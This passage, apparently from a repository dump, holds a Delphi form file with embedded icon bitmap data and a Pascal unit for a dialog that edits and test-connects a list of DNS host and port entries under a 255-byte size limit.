7CFF309436FF0000000000000000228226FF50AD57FF4FAC55FF207D23FF5FBE\n    6CFFACDAB1FFA9D9AFFF57B863FF00000000000000004CB057FF8ECC96FF83C8\n    8CFF389C3FFF000000000000000026872AFF53AF5AFF51AE58FF217F24FF63C1\n    70FF60BF6DFF5EBD6AFF5BBB68FF000000000000000054B55FFF4DB158FF47AA\n    50FF3FA348FF00000000000000002C8F30FF27882AFF238326FF228126FF0000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000B8B8B8FF00000000000000000000000000000000000000000000\n    0000000000000000000000000000000000005D5D5DFF00000000000000000000\n    000000000000BEBEBEFFBCBCBCFFB9B9B9FFB4B4B4FFACACACFFA2A2A2FF9999\n    99FF8E8E8EFF828282FF777777FF6D6D6DFF646464FF00000000000000000000\n    0000000000000000000000000000000000000000000000000000B6B6B6FFB1B1\n    B1FF000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000E1A46DFFD7995FFFCD8C\n    50FFC47E42FF0000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000E9B07DFFEDCBC0FFEAC3\n    B8FFCE8D51FF0000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000F0B98BFFF0D4C9FFEECD\n    C2FFD89C60FF0000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000F4C095FFF0BA8BFFEAB2\n    7FFFE2A870FF0000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000000000000000000000000000000000000000000000FFFF\n    0000FFFF00000C3000000C3000000C3000000C300000FFFF0000DFFB0000C003\n    0000FE7F0000FFFF0000FC3F0000FC3F0000FC3F0000FC3F0000FFFF0000}\n  OldCreateOrder = False\n  Position = poMainFormCenter\n  OnShow = FormShow\n  PixelsPerInch = 96\n  TextHeight = 13\n  object Panel_1: TPanel\n    Left = 0\n    Top = 167\n    Width = 394\n    Height = 41\n    Align = alBottom\n    BevelOuter = bvNone\n    TabOrder = 0\n    ExplicitTop = 270\n    ExplicitWidth = 643\n    object Label_SizeLeft: TLabel\n      Left = 16\n      Top = 16\n      Width = 45\n      Height = 13\n      Caption = 'Size Left:'\n    end\n    object Button_1: TButton\n      Left = 103\n      Top = 8\n      Width = 123\n      Height = 25\n      Caption = 'Test Connections'\n      TabOrder = 0\n      OnClick = Button_1Click\n    end\n    object Button_2: TButton\n      Left = 232\n      Top = 8\n      Width = 75\n      Height = 25\n      Caption = 'OK'\n      TabOrder = 1\n      OnClick = Button_2Click\n    end\n    object Button_3: TButton\n      Left = 313\n      Top = 8\n      Width = 75\n      Height = 25\n      Caption = 'Cancel'\n      TabOrder = 2\n      OnClick = Button_3Click\n    end\n  end\n  object ListView_Dns: TListView\n    Left = 32\n    Top = 40\n    Width = 250\n    Height = 150\n    Columns = <\n      item\n        Caption = 'DNS'\n        Width = 200\n      end\n      item\n        AutoSize = True\n        Caption = 'Port'\n      end>\n    GridLines = True\n    ReadOnly = True\n    RowSelect = True\n    PopupMenu = PopupMenu_1\n    SmallImages = ImageList_1\n    TabOrder = 1\n    ViewStyle = vsReport\n  end\n  object Panel_Edit: TPanel\n    Left = 88\n    Top = 45\n    Width = 265\n    Height = 145\n    BevelOuter = bvNone\n    TabOrder = 2\n    object Label_1: TLabel\n      Left = 88\n      Top = 40\n      Width = 24\n      Height = 13\n      Caption = 'DNS:'\n    end\n    object Label_2: TLabel\n      Left = 88\n      Top = 67\n      Width = 24\n      Height = 13\n      Caption = 'Port:'\n    end\n    object Edit_DNS: TEdit\n      Left = 152\n      Top = 36\n      Width = 121\n      Height = 21\n      ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861\n      TabOrder = 0\n      Text = 'Edit_DNS'\n    end\n    object SpinEdit_Port: TSpinEdit\n      Left = 152\n      Top = 63\n      Width = 121\n      Height = 22\n      MaxValue = 65535\n      MinValue = 0\n      TabOrder = 1\n      Value = 0\n    end\n    object Button_4: TButton\n      Left = 96\n      Top = 108\n      Width = 75\n      Height = 25\n      Caption = 'OK'\n      TabOrder = 2\n      OnClick = Button_4Click\n    end\n    object Button_5: TButton\n      Left = 192\n      Top = 108\n      Width = 75\n      Height = 25\n      Caption = 'Cancel'\n      TabOrder = 3\n      OnClick = Button_5Click\n    end\n  end\n  object PopupMenu_1: TPopupMenu\n    Images = ImageList_1\n    OnPopup = PopupMenu_1Popup\n    Left = 248\n    Top = 216\n    object MenuItem_Add1: TMenuItem\n      Caption = 'Add'\n      ImageIndex = 0\n      OnClick = MenuItem_Add1Click\n    end\n    object MenuItem_Delete1: TMenuItem\n      Caption = 'Delete'\n      ImageIndex = 3\n      OnClick = MenuItem_Delete1Click\n    end\n    object MenuItem_Edit1: TMenuItem\n      Caption = 'Edit'\n      ImageIndex = 0\n      OnClick = MenuItem_Edit1Click\n    end\n    object MenuItem_SaveToFile1: TMenuItem\n      Caption = 'Save To File'\n      ImageIndex = 2\n    end\n    object MenuItem_LoadFromFile1: TMenuItem\n      Caption = 'Load From File'\n      ImageIndex = 1\n    end\n  end\n  object ImageList_1: TImageList\n    Left = 324\n    Top = 20\n    Bitmap = {\n      494C010105001000100010001000FFFFFFFFFF10FFFFFFFFFFFFFFFF424D3600\n      0000000000003600000028000000400000002000000001002000000000000020\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000036813C00327C3800000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00003F8D460053A35C004E9E5600317B37000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000004E9E\n      560057A6600076C9800073C87D00509F5800327C380000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000051A559005FB1\n      69007DCE88007ACC850076C9800076C9800053A35C00327C3800000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000058AF62006ABC740082D1\n      8E007ACC85005FB1690062B46C0076C9800076C9800053A35C00327C38000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000006ABC74007ACC85007FCE\n      8C0053A35C000000000099C89E0058AF62007ACC85007ACC850053A35C003681\n      3C00000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000006ABC74006CBF\n      780000000000000000000000000098C79C005EAE68007FCE8C007ACC850053A3\n      5C0038823E000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000097C69C0058AF62007FCE8C007FCE\n      8C0053A35C0038823E0000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000098C79C005FB169007FCE\n      8C0082D18E0053A35C0038843F00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000098C79C0062B4\n      6C0082D18E007ACC850053A35C00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000000000000098C7\n      9C0062B46C005EAE680000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000099C89E000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000519BDF003289D9003289D9003289\n      D9003289D9003289D9003289D9003289D9003289D9003289D9003289D9003289\n      D9003289D900519BDF000000000000000000D6AA8D00CC936E00BB724100B668\n      3400B6683400B6683400AF643200AF643200AF643200AF643200A7603100AF64\n      3200A65F3000A65F3000A9673B00BB845F000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000003289D900DCF0FA0095E0F60095E0\n      F60091DDF5008DDEF5008DDEF50084DAF4007FD9F40079D7F30073D5F3006FD3\n      F200C1EAF8003493DA000000000000000000C27C4E00EAC4AC00EAC4AC00FEFA\n      F800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFA\n      F800FEFAF800C8997B00C7977800AC6A3E000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00007373F7004D4DF1006464FE005151FF000000000000000000000000000000\n      0000000000000000000000000000000000003A96DB00EFFAFE0091E5F8008EE4\n      F8008EE4F8007EE1F70076DEF60070DEF60066DBF5005AD8F4004DD4F3003FD1\n      F200CAF2FB003493DA000000000000000000B9693500EDCAB200E1A17900FEFA\n      F80061BF870061BF870061BF870061BF870061BF870061BF870061BF870061BF\n      8700FEFAF800C98C6400C8997B00A65F30000000000000000000000000004F4C\n      F2FF4140EDFF0000000000000000000000000000000000000000000000002725\n      E4FF312FEAFF0000000000000000000000000000000000000000000000008D8D\n      FF006868FF006464FE007D7DFF006464FE006464FE0000000000000000000000\n      0000000000000000000000000000000000003A96DB00F3FCFE0091E5F80091E5\n      F8008EE4F8008EE4F80085E2F7007EE1F70076DEF60070DEF6005AD8F4004DD4\n      F300CAF2FB003493DA000000000000000000B9693500EDCAB200E1A17900FEFA\n      F800BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDC\n      C100FEFAF800C98C6400CC9D8000A760310000000000000000005856F5FF6361\n      FAFF5855F6FF4341EDFF000000000000000000000000000000002E2DE6FF413F\n      F1FF4C4AF6FF312FEAFF000000000000000000000000000000007D7DFF006868\n      FF007979F9008181FF009797FF007D7DFF006464FE00C7C7C700000000000000\n      00000000000000000000000000000000000039A6DA00F3FCFE0091E5F80091E5\n      F80091E5F8008EE4F80092DBE90092D7E30092D2DC008FCED7008BC8CF0085C0\n      C500C9D8D6003493DA00C97F5300CC855B00BA6C3900EED0B900E1A17900FEFA\n      F80061BF870061BF870061BF870061BF870061BF870061BF870061BF870061BF\n      8700FEFAF800CC936E00CEA28300AF64320000000000000000005B58F6FF6562\n      FAFF7170FFFF5956F6FF4442EEFF00000000000000003734E9FF4745F2FF6362\n      FFFF4A48F4FF2F2DE9FF000000000000000000000000000000004141E8008181\n      FF009797FF007D7DFF007979F9008D8DFF00CDCDCD00B5B5B500B5B5B5000000\n      00000000000000000000000000000000000039A6DA00FFFFFF00FFFFFF00F3FC\n      FE00F3FCFE00F3FCFE0099E5F50099E5F50099E5F50099E5F50099E5F5009DE5\n      F400DCF0FA003493DA00FDF4ED00CB825700B9693500EED0B900E1A17900FEFA\n      F800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFA\n      F800FEFAF800D3956C00D2A68900A76031000000000000000000000000005B59\n      F6FF6663FAFF7471FFFF5A58F6FF4543EEFF403EECFF504DF4FF6867FFFF504E\n      F5FF3634EBFF00000000000000000000000000000000000000005151FF008D8D\n      FF00A1A1FF008D8DFF007D7DFF00CDCDCD00CDCDCD00D4D4D40053A9DF004088\n      DC000000000000000000000000000000000037ABDA00E8F6FB006FBBE70054A9\n      E2004CA4E00090C9EB00FDF4ED00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF003493DA00EFF2E800CB825700B9693500F0D2BD00E1A17900E1A1\n      7900E1A17900E1A17900E1A17900E0A07700DE9E7500DE9E7500DE9E7500D698\n      6F00D6986F00D6986F00D6AA8D00AF6432000000000000000000000000000000\n      00005C5AF6FF6764FAFF7472FFFF7370FFFF706EFFFF6E6CFFFF5755F7FF3F3D\n      EEFF000000000000000000000000000000000000000000000000000000007D7D\n      FF008D8DFF00A1A1FF00CDCDCD00C7C7C700C7C7C70071ECFD0081DDF6005CB0\n      E400539CDD000000000000000000000000003FADDB00F3FCFE0091DDF50091DD\n      F50063BBE9003493DA003493DA003493DA003493DA003493DA003493DA003493\n      DA003493DA003493DA00FDF4ED00CB825700B9693500F2D5C100E1A17900E1A1\n      7900E1A17900E1A17900E1A17900E1A17900E0A07700DE9E7500DE9E7500DE9E\n      7500DE9E7500D6986F00DAAF9400AF6432000000000000000000000000000000\n      0000000000005D5BF7FF7976FFFF5956FFFF5754FFFF7270FFFF4846F0FF0000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00008181FF00CDCDCD00C7C7C700D4D4D40055E4FD0044D7F4007DEFFB007CDA\n      F3005AAEE4003C8FDA0000000000000000003FB2DC00F3FCFE008EE4F80091DD\n      F50099E5F500ABE1F600CB825700FDF4ED00FFE9D900FFE9D900FFE9D900FEE6\n      D500FFE2CB00FFE2CB00FEF6F000CB825700B9693500F2D8C400E1A17900E1A1\n      7900E1A17900E1A17900E1A17900E1A17900E1A17900DE9E7500DE9E7500DE9E\n      7500D6986F00DE9E7500DDB49900AF6432000000000000000000000000000000\n      0000000000005E5BF6FF7D79FFFF5E5BFFFF5B58FFFF7674FFFF4744EFFF0000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000B5B5B500E7E7E700C9FAFF008FECFA0051D8F40044D7F40071EC\n      FD0088DDF30054A9E2003F91DA00000000003FB2DC00FFFFFF00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00E4B99000FEF6F000FFE9D900FEE6D500FEE6D500FFE2\n      CB00FFE2CB00F9DCC200FDF2E700CB825700B9693500F2D8C400E8A77D00C98C\n      6400C98C6400CD8F6700CC936E00CC936E00C98C6400C98C6400C88B6300C98C\n      6400C98C6400DE9E7500DDB49900B66834000000000000000000000000000000\n      00006865F9FF706DFBFF807EFFFF7E7BFFFF7C79FFFF7977FFFF5E5CF7FF4946\n      EFFF000000000000000000000000000000000000000000000000000000000000\n      000000000000000000004FC5E800B3ECF900D0F9FD008FECFA0051D8F40048DA\n      F5006EE5F80088DDF30054A9E200579FDE0058C1E00061C2E10061C2E10061C2\n      E10061C2E10061C2E100E4B99000FEF6F000FFE9D900FEE6D500FEE6D500FAE1\n      CA00F9DCC200F7D9BB00FDF2E700CC855600B9693500F4DCC900E8A77D00F9EC\n      E100F9ECE100F9ECE100FCF4EE00FEFAF800FEFAF800F9ECE100F6E5D900F6E5\n      D900F6E5D900DE9E7500E4BDA300B6683400000000000000000000000000706D\n      FCFF7774FDFF8682FFFF7673FCFF6462F8FF605DF7FF6D6AFAFF7B79FFFF605D\n      F7FF4A47EFFF0000000000000000000000000000000000000000000000000000\n      00000000000000000000000000005AC1ED00AFE7F600C9FAFF0094EBFA0051D8\n      F40048DAF50071ECFD0081DDF6005CB0E4000000000000000000000000000000\n      00000000000000000000E4B99000FEF6F000FFE2CB00FEE6D500FFE2CB00F9DC\n      C200F7D9BB00F3D1AE00FDF2E700CB825700BA6C3900F4DCC900E8A77D00FCF4\n      EE00F9ECE100C98C6400FCF4EE00FCF4EE00FEFAF800FCF4EE00F8E8DE00F6E5\n      D900F6E5D900E0A07700E7C1A800B668340000000000000000007572FEFF7D7A\n      FEFF8A87FFFF7C79FDFF6C69FBFF0000000000000000615EF8FF6E6CFAFF7D7A\n      FFFF615FF7FF4B48F0FF00000000000000000000000000000000000000000000\n      00000000000000000000000000000000000064CAEB00B7EAF600C4F6FC0094EB\n      FA0051D8F40044D7F4007DF0FB007CDAF3000000000000000000000000000000\n      00000000000000000000E4B99000FEF6F000FFE2CB00FFE2CB00FADFC800F7D9\n      BB00F5E9DD00FAF3EB00FEF6F000CB845400BE724100F6E0D100E8A77D00FCF6\n      F100FCF6F100C98C6400F9ECE100FCF6F100FEFAF800FEFAF800FAF0E900F8E8\n      DE00F6E5D900E1A17900EFD5C200B668340000000000000000007A77FFFF817E\n      FFFF817EFEFF7471FDFF00000000000000000000000000000000625FF8FF6F6D\n      FBFF7E7CFFFF625FF8FF00000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000004FC5E800B7EAF600CAF7\n      FD008FECFA0051D8F40044D7F40071ECFD000000000000000000000000000000\n      00000000000000000000E4B99000FDF4ED00FBE0C700FADFC800F9DCC200F5D3\n      B300FEF6F000FADFC800ECC09200DBB39400C5805300F6E0D100E9A97F00FEFA\n      F800FEFAF800C98C6400FCF6F100FCF4EE00FCF4EE00FEFAF800FCF6F100F9EC\n      E100F8E7DB00EED0B900EED0B900BB7241000000000000000000000000007A77\n      FFFF7976FEFF0000000000000000000000000000000000000000000000006461\n      F8FF6A68F9FF0000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000004FC5E800B2E8\n      F600D0F9FD008FECFA0051D8F40048DAF5000000000000000000000000000000\n      00000000000000000000E4B99000FFFFFF00FDF4ED00FDF2E700FDF2E700FAEF\n      E400FAEFE400EABA8700DDA8860000000000D2A68900F4DCC900F6E0D100FEFA\n      F800FEFAF800FEFAF800FCF4EE00FAF0E900FCF4EE00FEFAF800FEFAF800FCF4\n      EE00F8E8DE00EED0B900CC936E00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000000000000064CA\n      EB00AFE7F600C9FAFF0092EBF90051D8F4000000000000000000000000000000\n      00000000000000000000EAC29C00E4B99000E4B99000E4B99000D1A17000D1A1\n      7000D1A1700000000000000000000000000000000000D8AA8C00C8875D00BE72\n      4100B9693500B9693500B9693500B9693500B9693500B9693500BA6C3900BA6C\n      3900BB724100C98C640000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000424D3E000000000000003E000000\n      2800000040000000200000000100010000000000000100000000000000000000\n      000000000000000000000000FFFFFF00FFFF000000000000FFFF000000000000\n      F9FF000000000000F0FF000000000000E07F000000000000C03F000000000000\n      801F000000000000840F000000000000CE07000000000000FF03000000000000\n      FF81000000000000FFC1000000000000FFE3000000000000FFF7000000000000\n      FFFF000000000000FFFF000000000000FFFF00030000FFFFFFFF00030000FFFF\n      F0FF00030000E7E7E07F00030000C3C3C03F00000000C183C01F00000000E007\n      C00F00000000F00FE00700000000F81FF00300000000F81FF80100000000F00F\n      FC0000000000E007FE00FC000000C183FF00FC000000C3C3FF80FC000000E7E7\n      FFC0FC010001FFFFFFE0FC078003FFFF00000000000000000000000000000000\n      000000000000}\n  end\n  object ClientSocket1: TClientSocket\n    Active = False\n    ClientType = ctBlocking\n    Port = 0\n    OnError = ClientSocket1Error\n    Left = 160\n    Top = 216\n  end\nend\n"
  },
  {
    "path": "Client/UnitFormDns.pas",
    "content": "unit UnitFormDns;\n\ninterface\n\nuses\n  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,\n  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls, Vcl.ComCtrls,\n  Vcl.Samples.Spin, Vcl.Menus, System.ImageList, Vcl.ImgList,\n  System.Win.ScktComp, System.StrUtils, Winapi.WinSock;\n\ntype\n  TDnsForm = class(TForm)\n    Panel_1: TPanel;\n    Label_SizeLeft: TLabel;\n    Button_1: TButton;\n    Button_2: TButton;\n    Button_3: TButton;\n    ListView_Dns: TListView;\n    Panel_Edit: TPanel;\n    Edit_DNS: TEdit;\n    SpinEdit_Port: TSpinEdit;\n    Label_1: TLabel;\n    Label_2: TLabel;\n    PopupMenu_1: TPopupMenu;\n    MenuItem_Add1: TMenuItem;\n    MenuItem_Delete1: TMenuItem;\n    MenuItem_Edit1: TMenuItem;\n    Button_4: TButton;\n    Button_5: TButton;\n    ImageList_1: TImageList;\n    MenuItem_SaveToFile1: TMenuItem;\n    MenuItem_LoadFromFile1: TMenuItem;\n    ClientSocket1: TClientSocket;\n    procedure FormShow(Sender: TObject);\n    procedure MenuItem_Add1Click(Sender: TObject);\n    procedure Button_4Click(Sender: TObject);\n    procedure Button_5Click(Sender: TObject);\n    procedure PopupMenu_1Popup(Sender: TObject);\n    procedure MenuItem_Delete1Click(Sender: TObject);\n    procedure MenuItem_Edit1Click(Sender: TObject);\n    procedure Button_1Click(Sender: TObject);\n    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;\n      ErrorEvent: TErrorEvent; var ErrorCode: Integer);\n    procedure Button_2Click(Sender: TObject);\n    procedure Button_3Click(Sender: TObject);\n  private\n    { Private declarations }\n    IsEdit: Boolean;\n    ItemIndex: Integer;\n    BytesLeft: Integer;\n    procedure SwitchToEdit(b: Boolean);\n  public\n    { Public declarations }\n    procedure LoadFromString(s: string);\n    function DNSList(): string;\n  end;\n\nvar\n  DnsForm: TDnsForm;\n\nimplementation\n\n{$R *.dfm}\n\nprocedure TDnsForm.Button_1Click(Sender: TObject);\nvar\n  i: Integer;\n  t: DWORD;\nbegin\n  for i := 0 to ListView_Dns.Items.Count - 1 do\n  begin\n    try\n      ClientSocket1.Address := ListView_Dns.Items[i].Caption;\n      ClientSocket1.Port := StrToInt(ListView_Dns.Items[i].SubItems[0]);\n      ClientSocket1.Active := True;\n      ListView_Dns.Items[i].ImageIndex := 4;\n      ClientSocket1.Active := False;\n    except\n      ListView_Dns.Items[i].ImageIndex := 3;\n    end;\n    Application.ProcessMessages;\n  end;\nend;\n\nprocedure TDnsForm.Button_2Click(Sender: TObject);\nbegin\n  ModalResult := mrOk;\nend;\n\nprocedure TDnsForm.Button_3Click(Sender: TObject);\nbegin\n  ModalResult := mrCancel;\nend;\n\nprocedure TDnsForm.Button_4Click(Sender: TObject);\nbegin\n  if Edit_DNS.Text = '' then\n  begin\n    MessageBox(Handle, 'Dns is empty', 'error', MB_ICONERROR or MB_OK);\n    Exit;\n  end;\n\n  if IsEdit then\n  begin\n    if BytesLeft < Length(Edit_DNS.Text) - Length(Caption) then\n    begin\n      MessageBox(Handle, 'buf not enough', 'error', MB_ICONERROR or MB_OK);\n      Exit;\n    end;\n    BytesLeft := BytesLeft - (Length(Edit_DNS.Text) - Length(Caption));\n\n    with ListView_Dns.Items[ItemIndex] do\n    begin\n      Caption := Edit_DNS.Text;\n      SubItems[0] := IntToStr(SpinEdit_Port.Value);\n      ImageIndex := -1;\n      Update;\n    end;\n  end else\n  begin\n    if BytesLeft < Length(Edit_DNS.Text) + 5 then\n    begin\n      MessageBox(Handle, 'buf not enough', 'error', MB_ICONERROR or MB_OK);\n      Exit;\n    end;\n    BytesLeft := BytesLeft - Length(Edit_DNS.Text) - 3;\n\n    ListView_Dns.Items.BeginUpdate;\n    with ListView_Dns.Items.Add do\n    begin\n      Caption := Edit_DNS.Text;\n      SubItems.Add(IntToStr(SpinEdit_Port.Value));\n      ImageIndex := -1;\n    end;\n    ListView_Dns.Items.EndUpdate;\n  end;\n\n  Label_SizeLeft.Caption := Format('Size Left: %d', [BytesLeft]);\n  SwitchToEdit(False);\nend;\n\nprocedure TDnsForm.Button_5Click(Sender: TObject);\nbegin\n  SwitchToEdit(False);\nend;\n\nprocedure TDnsForm.ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;\n  ErrorEvent: TErrorEvent; var ErrorCode: Integer);\nbegin\n  ErrorCode := 0;\nend;\n\nfunction TDnsForm.DNSList: string;\nvar\n  i: Integer;\n  sl: TStringList;\nbegin\n  sl := TStringList.Create;\n  try\n    for i := 0 to ListView_Dns.Items.Count - 1 do\n    begin\n      sl.Add(ListView_Dns.Items[i].Caption + ':' + ListView_Dns.Items[i].SubItems[0]);\n    end;\n    sl.Delimiter := ',';\n    Result := sl.DelimitedText;\n  finally\n    FreeAndNil(sl);\n  end;\nend;\n\nprocedure TDnsForm.FormShow(Sender: TObject);\nbegin\n  SwitchToEdit(False);\nend;\n\nprocedure TDnsForm.LoadFromString(s: string);\nvar\n  sl, sl2: TStringList;\n  i: Integer;\nbegin\n  BytesLeft := 255;\n  ListView_Dns.Clear;\n\n  if s <> '' then\n  begin\n    sl := TStringList.Create;\n    sl2 := TStringList.Create;\n    try\n      sl.Delimiter := ',';\n      sl.DelimitedText := s;\n\n      for i := 0 to sl.Count - 1 do\n      begin\n        sl2.Delimiter := ':';\n        sl2.DelimitedText := sl.Strings[i];\n        with ListView_Dns.Items.Add do\n        begin\n          Caption := sl2.Strings[0];\n          SubItems.Add(sl2.Strings[1]);\n          ImageIndex := -1;\n          BytesLeft := BytesLeft - Length(Caption) - 3;\n        end;\n      end;\n    finally\n      FreeAndNil(sl);\n      FreeAndNil(sl2);\n    end;\n  end;\n\n  Label_SizeLeft.Caption := Format('Size Left: %d', [BytesLeft]);\n  ShowModal;\nend;\n\nprocedure TDnsForm.MenuItem_Add1Click(Sender: TObject);\nbegin\n  IsEdit := False;\n  SwitchToEdit(True);\nend;\n\nprocedure TDnsForm.MenuItem_Delete1Click(Sender: TObject);\nbegin\n  ListView_Dns.DeleteSelected;\nend;\n\nprocedure TDnsForm.MenuItem_Edit1Click(Sender: TObject);\nbegin\n  ItemIndex := ListView_Dns.Selected.Index;\n  IsEdit := True;\n  Edit_DNS.Text := ListView_Dns.Selected.Caption;\n  SpinEdit_Port.Value := StrToInt(ListView_Dns.Selected.SubItems[0]);\n  